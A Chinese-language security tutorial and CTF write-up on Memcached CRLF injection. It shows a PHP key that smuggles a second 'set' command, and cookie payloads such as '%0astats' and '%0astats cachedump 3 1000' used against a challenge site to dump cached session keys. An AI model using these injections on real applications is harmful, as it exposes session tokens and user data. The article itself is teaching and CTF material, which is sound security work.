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被人遗忘的Memcached内存注射

0x00 写在前面

wooyun主站也有过Memcached相关漏洞，但大多都是未授权访问，其实即使是部署得当的Memcached，如果碰上安全意识差的程序员哥哥，那么同样会出现Memcached安全风险，导致敏感内存泄露。

也就是本文要说的Memcached注入

0x01 Memcached简介&安全性分析

Memcached 是一个高性能的分布式内存对象缓存系统，用于动态Web应用以减轻数据库负载。

它通过在内存中缓存数据和对象来减少读取数据库的次数，从而提高动态、数据库驱动网站的速度。

用白话就是说，当传统web将访问产生的临时数据存储在后端数据库（如user sessions），部署了Memcached的应用会将user sessions以及其他一些敏感信息存储在RAM中，增速同时也减轻后端数据库反复查询带来的负载。

Memcached创建者Dormando很早就写过两篇文章，告诫开发人员不要用memcached存储Session。但是很多开发者为了性能或者其他原因，依旧把session存储在memcached中。这样做，一旦memcached被攻击，直接将导致管理员或者是用户token泄露。

0x02 Memcached协议

当Memcache被部署之后，我们该如何向其中添加数据？我们通过一个cheat sheet了解一下Memcached的协议。

Memcached的语法由如下元素组成

{COMMAND}0x20{ARGUMENT}(LF|CRLF)

command字段有如下几条命令

存储操作(set, add, replace, append, prepend, cas)
检索操作 (get, gets)
删除操作 (delete)
增减操作 (incr, decr)
touch
slabs reassign
slabs automove
lru_crawler
统计操作(stats items, slabs, cachedump)
其他操作 (version, flush_all, quit)

下面给出几个安全测试中有用的命令

Command	描述	实例
get	读某个值	get mykey
set	强制设置某个键值	set mykey 0 60 5
add	添加新键值对	add newkey 0 60 5
replace	覆盖已经存在的key	replace key 0 60 5
flush_all	让所有条目失效	flush_all
stats	打印当前状态	stats
stats malloc	打印内存状态	stats malloc
version	打印Memcached版本	version

stats cachedump 读取内存中存储的条目

0x03 Memcached代码实现

部署好Memcached之后，一个调用Memcached的php代码是这样的。

#!php <?php      $m = new Memcached();       $m->set("prefix_".$_GET[‘key’],"data");

为了体现漏洞的产生，我想这样写

#!php <?php      $m = new Memcached();      $m->addServer('localhost', 11211);      $m->set("key1 0 0 1/r/n1/r/nset injected 0 3600 10/r/n1234567890/r/n","1234567890",30);      ?>

set("key1 0 0 1/r/n1/r/nset injected 0 3600 10/r/n1234567890/r/n","1234567890",30)

是的，这里也就能看到问题。

执行刚刚的命令的时候，server和client的通信是这样的（>表示发送到Memcached ，<表示从Memcached的返回）

> set key 0 0 1 > 1 < STORED  > set injected 0 3600 10 > 1234567890 < STORED  > 0 30 10 < ERROR  > 1234567890 < ERROR

可以看到，对Memcached的协议来讲，/r/n是可以用来分割命令的，所以说，我们能直接通过CLRF注入，将/r/n注入到将要传入Memcached的元素中（例如cookies），实现命令执行。

0x04 Memcache Injection实例

最近的一次ctf中，有一个典型的基于CLRF的Memcache注入。（目前该站可以访问）

http://login2.chal.mmactf.link/login

登录之后的请求是这样的

GET / HTTP/1.1 Host: login2.chal.mmactf.link User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:38.0) Gecko/   20100101 Firefox/38.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Referer: http://login2.chal.mmactf.link/login Cookie: ss=c4a613cdf3378b458be9a6d8de6c52c6ab260d1ee5c2d94df6fe260e580b16bb Connection: keep-alive

在测试http头注入的时候，我们发现将%0a注入到cookies中时,也就是请求：

Cookie: ss=%0ac4a613cdf3378b458be9a6d8de6c52c6ab260d1ee5c2d94df6fe260e580b16bb

返回如下

</div> <div id="info"> <p>MemcacheError:ERROR   ERROR</p> </div> </body> </html>

恩，memcached出错了，那不就是刚刚提到的error吗？

> 1234567890 < ERROR

说明这里ss的value代入了memcached。

我们继续在cookies里面注入:ss=%0astats

MemcacheError:ERROR STAT pid 988 STAT uptime 651664 STAT time 1442726665 STAT version 1.4.14 (Ubuntu) STAT libevent 2.0.21-stable STAT pointer_size 64 STAT rusage_user 17.256000 STAT rusage_system 18.232000 STAT curr_connections 5 STAT total_connections 946 STAT connection_structures 6 STAT reserved_fds 20 STAT cmd_get 615 STAT cmd_set 188 STAT cmd_flush 0 STAT cmd_touch 0 STAT get_hits 299 STAT get_misses 316 STAT delete_misses 0 STAT delete_hits 42 STAT incr_misses 0 STAT incr_hits 0 STAT decr_misses 0 STAT decr_hits 0 STAT cas_misses 0 STAT cas_hits 0 STAT cas_badval 0 STAT touch_hits 0 STAT touch_misses 0 STAT auth_cmds 0 STAT auth_errors 0 STAT bytes_read 54350 STAT bytes_written 86307 STAT limit_maxbytes 67108864 STAT accepting_conns 1 STAT listen_disabled_num 0 STAT threads 4 STAT conn_yields 0 STAT hash_power_level 16 STAT hash_bytes 524288 STAT hash_is_expanding 0 STAT expired_unfetched 15 STAT evicted_unfetched 0 STAT bytes 1137 STAT curr_items 8 STAT total_items 153 STAT evictions 0 STAT reclaimed 96 END

果然返回了memcached的stats

现在来做我们最想做的一件事情，dump内存中的东西看看：我们利用cachedump

stats cachedump {slab class} {number of items to dump}

这里需要介绍下 memcached是以slab class进行分类的比如：

$ memcached -vv slab class   1: chunk size        96 perslab   10922 slab class   2: chunk size       120 perslab    8738 slab class   3: chunk size       152 perslab    6898 slab class   4: chunk size       192 perslab    5461

我们可以看到每个class的编排

所以我们每一个都dump出来看看才好：

Cookie: %0astats cachedump 1 1000

返回为

MemcacheError:ERROR ITEM key [1 b; 1441762228 s] ITEM 12345 [20 b; 1441494967 s] END

当我遍历到class 3的时候：

Cookie: %0astats cachedump 3 1000     MemcacheError:ERROR  ITEM 3f063d8659f0f08c4454554294aca59bbe42cc6e11db23eb69f5a1c0a9486aa1 [19 b; 1442016274 s]  ITEM 0e9d0aecea498b15ee63d38dd4664dcfc75be0846ec4baee931b45a04462eeab [20 b; 1441494967 s]  ITEM 09cf27be606344f29bda74bd7c035e6d862c95025a2a6bb1785c8883ae65b18a [16 b; 1441494967 s]  ITEM b33542ed3c8bf5c2c346e26aac28a10055fa6a50c4948873810798e9f4cfca98 [20 b; 1441494967 s]  ITEM e391306f6481940ab3c796eb1253435b06e9a9357227de734b0ec3f58bd14d7f [19 b; 1442011213 s]  ITEM c706b288065ad5c29153d8773c3e3be6e8a07408cdf4e0e40e97917896e43839 [19 b; 1442012877 s]  ITEM a5e754e6e804bf7e49f8096242a6566cc337b06aa6c2dafda3f86edccf8cb4b3 [19 b; 1442011191 s]  ITEM edf938c33d05ff9f8696415d5ef817014a5cc2906abe24576fdafe8ae58dde48 [19 b; 1442010879 s]  ITEM 5f7d07e310e9fad574d0975741a9c05d0d75d7157ce9bb9546b7f58d940cee7a [19 b; 1442006048 s]  ITEM 3d1a32800a501fe7387287ba4631ae9318206ef96083a29f35fd1ef42f7a85c5 [19 b; 1441998916 s]

终于注入到我们所需要的class中去。